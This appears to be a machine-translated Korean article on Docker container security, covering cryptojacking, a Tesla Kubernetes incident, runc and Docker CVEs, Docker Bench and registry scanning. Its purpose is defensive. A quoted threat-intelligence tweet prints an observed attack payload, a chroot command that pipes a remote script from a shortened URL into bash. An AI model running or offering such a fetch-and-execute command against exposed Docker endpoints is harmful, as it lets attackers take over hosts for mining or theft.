2020 년 Docker 컨테이너 취약성을 찾아 수정하는 방법

컨테이너화를 통해 엔지니어링 팀은 애플리케이션을 실행하고 테스트 할 수있는 샌드 박스 환경을 만들 수 있습니다. 컨테이너는 대부분 도커 허브 또는 기타 공개 이미지 저장소에서 가져온 오픈 소스 이미지로 구성됩니다.

그러나 이러한 오픈 소스 이미지에는 컨테이너의 안전과 호스트 컴퓨터 / 서버의 안전을 위협 할 수있는 취약성이 포함되어있을 수 있습니다.

이러한 컨테이너는 호스트 머신에서 실행되기 때문에 보호되지 않은 상태로두면 프로덕션에서 컨테이너를 탈취 할 수 있습니다.

이러한 해킹의 좋은 예는 보호되지 않는 Kubernetes 클러스터에 대한 Tesla의 크립토 재킹 공격입니다. 이 공격에서 공격자는 Tesla의 K8s (Kubernetes) 클러스터에서 제공하는 GPU를 사용하여 암호 화폐 채굴을위한 악성 스크립트를 다운로드하고 실행할 수있었습니다. 그들은 CPU 사용량을 최소로 유지하고 특정 시간 간격으로 스크립트를 실행하여이 공격을 레이더 ​​아래에 유지할 수있었습니다.

이 기사에서는 일반적인 컨테이너 취약성과이를 해결하는 가능한 방법에 대해 살펴 보겠습니다.

일반적인 컨테이너 취약성 및 해결 방법

운영 엔지니어는 컨테이너를 사용하여 폐쇄되고 통제 된 환경에서 소프트웨어 / 애플리케이션을 패키징하고 배포합니다.

재창조를 피하고 시장 출시 시간을 단축하기 위해 이미 존재하는 오픈 소스 이미지를 가져 와서 소프트웨어 실행에 필요한 종속성을 충족시킵니다. 이러한 이미지에는 종종 전체 컨테이너와 해당 호스트를 악의적 인 공격에 취약하게 만드는 특정 취약성이 포함되어 있습니다.

다음은 몇 가지 일반적인 컨테이너 취약성 및 노출과이를 완화하는 방법입니다.

크립토 재킹

크립토 재킹은 악성 스크립트를 사용하여 암호 화폐 채굴을 위해 장치의 컴퓨팅 리소스를 훔치는 공격 유형입니다.

최근 Docker에서 사전 항목 CVE-2018-15664가 포함 된 취약점이 발견되었습니다. 이 취약점은 공격자가 호스트 컴퓨터에 대한 루트 액세스 권한을 얻을 수 있도록합니다.

호스트 컴퓨터의 CPU 및 GPU 리소스를 사용하여 암호화를 채굴 할 수있는 것 외에도 공격자는 민감한 자격 증명을 훔치고 DoS 공격을 수행하고 피싱 캠페인을 시작하는 등의 작업을 수행 할 수 있습니다.

컨테이너는 공격자에게 전체 컨테이너에 대한 루트 액세스 권한을 제공하는 악성 이미지를 포함하는 경우 크립토 재킹에 취약 할 수 있습니다. Tesla의 경우처럼 도커 컨테이너 API 엔드 포인트가 암호 나 보안 방화벽없이 인터넷에서 공개적으로 액세스 할 수있는 경우에도 취약합니다.

노출 된 Docker API 엔드 포인트를 대상으로하는 기회 적 대량 스캔 활동이 감지되었습니다.

이러한 스캔은 Alpine Linux 이미지를 사용하여 컨테이너를 생성하고 다음을 통해 페이로드를 실행합니다.

"명령": "chroot / mnt / bin / sh -c 'curl -sL4 //t.co/q047bRPUyj | bash;'", # threatintel pic.twitter.com/vxszV5SF1o

— Bad Packets Report (@bad_packets) 2019 년 11 월 25 일

악성 오픈 소스 이미지

호스트의 runc 바이너리를 덮어 쓸 수있는 취약점은 공격자에게 루트 액세스로 명령을 실행할 수있는 여지를 제공합니다. v18.09.2 이전의 Docker 엔진은 공격자가 제어하는 ​​이미지가있는 컨테이너를 CVE-2019-5736 취약성에 취약하게 만듭니다.

엔지니어는 Docker에서 제공하는 공식 Docker 이미지를 최대한 활용하는 것이 좋습니다. 결국, 공식 Docker 이미지의 보안을 보장하기 위해 소프트웨어 유지 관리자 / 게시자 및 보안 전문가와 긴밀히 협력하는 Docker 후원 팀도 있습니다.

정적 Dockerfile

컨테이너의 원칙 중 하나는 이미지를 변경할 수 없다는 것입니다. 이것은 이미지가 빌드 될 때 그 내용이 변경 될 수 없음을 의미합니다. 그 자체로 이미지에 포함 된 오래된 패키지 / 라이브러리 / 이미지로 인한 취약점이 발생합니다.

따라서 취약한 컨테이너 이미지를 식별하기 위해 CI / CD 프로세스에 취약성 스캐너를 통합하는 것이 좋습니다. 이미지는 변경 불가능하므로 업데이트 된 종속성으로 새로 빌드 된 컨테이너를 롤아웃하면 컨테이너 패치가 권장되지 않으므로 보안 취약성을 억제하는 데 도움이됩니다.

컨테이너 취약점을 찾는 방법

이전 섹션에서는 취약성이 Docker 컨테이너에 침투 할 수있는 가능한 방법을 살펴 보았습니다.

프로덕션에 들어가기 전에 컨테이너의 취약점을 발견하면 가능한 보안 침해를 방지하고 악의적 인 공격자를 차단하는 데 도움이됩니다.

그들이 말했듯이-예방의 온스는 치료의 가치가 있습니다.

이 섹션에서는 컨테이너 취약성에 대처할 수있는 가능한 방법을 살펴 보겠습니다.

보안을 위해 Docker Bench 사용

보안 용 Docker 벤치는 프로덕션에 컨테이너를 배포하기위한 모범 사례를 위해 호스트 컴퓨터 / 서버의 모든 Docker 컨테이너를 테스트하는 스크립트입니다. 이러한 테스트는 CIS 도커 벤치 마크를 기반으로합니다.

테스트 실행을 위해 다음 docker/docker-bench-security과 같이 로컬 머신 에서 이미지를 가져와 기존 컨테이너를 테스트 할 수 있습니다 .

docker run -it --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /etc:/etc:ro \ -v /usr/bin/docker-containerd:/usr/bin/docker-containerd:ro \ -v /usr/bin/docker-runc:/usr/bin/docker-runc:ro \ -v /usr/lib/systemd:/usr/lib/systemd:ro \ -v /var/lib:/var/lib:ro \ -v /var/run/docker.sock:/var/run/docker.sock:ro \ --label docker_bench_security \ docker/docker-bench-security

참고 :이 명령은 OSX에서 제대로 작동하지 않습니다. 자세한 내용은이 GitHub 문제를 참조하세요.

GCR의 취약성 검색

Docker 이미지 저장소 (예 : GCR)를 사용하면 엔지니어가 컨테이너 레지스트리에서 이미지에 대한 취약성 스캔을 실행할 수 있습니다.

GCR (Google 컨테이너 레지스트리)에서 취약점 스캔을 사용하려면 Google 클라우드 콘솔의 컨테이너 레지스트리 설정으로 이동하여 다음과 같이 "취약점 스캔 사용"을 클릭하십시오.

취약성 스캔이 완료되면 취약성이 존재하는 경우 아래 이미지와 같은 결과가 표시됩니다.

엔터프라이즈 급 솔루션 사용

취약점을 관리하고 컨테이너의 수명주기 동안 배포 정책을 시행하는 엔터프라이즈 급 컨테이너화 보안 제품군이 있습니다.

또한이 제품군은 널리 사용되는 CI / CD 도구 및 컨테이너 레지스트리와 원활하게 통합됩니다. 이를 통해 위험없는 배포는 물론 배포에서 프로덕션까지 종단 간 컨테이너 관리를 제공 할 수 있습니다.

결론

컨테이너를 사용하면 엔지니어링 팀이 소프트웨어를 원활하게 배포 할 수 있습니다. 그러나 이러한 용이함은 보안을 희생합니다.

최근 몇 년 동안 기록 된 도커 컨테이너에는 몇 가지 CVE (일반적인 취약성 노출)가 있습니다. 그중 일부는 최근의 도커 엔진 업데이트에서 해결되었으며 나머지는 향후 패치 릴리스에서 약속되었습니다.

엔지니어링 팀은 컨테이너를 구축하고 배포 할 때 보안을 염두에 두어야합니다. 또한 DevOps 수명주기에서 컨테이너 보안 정책을 시행해야합니다.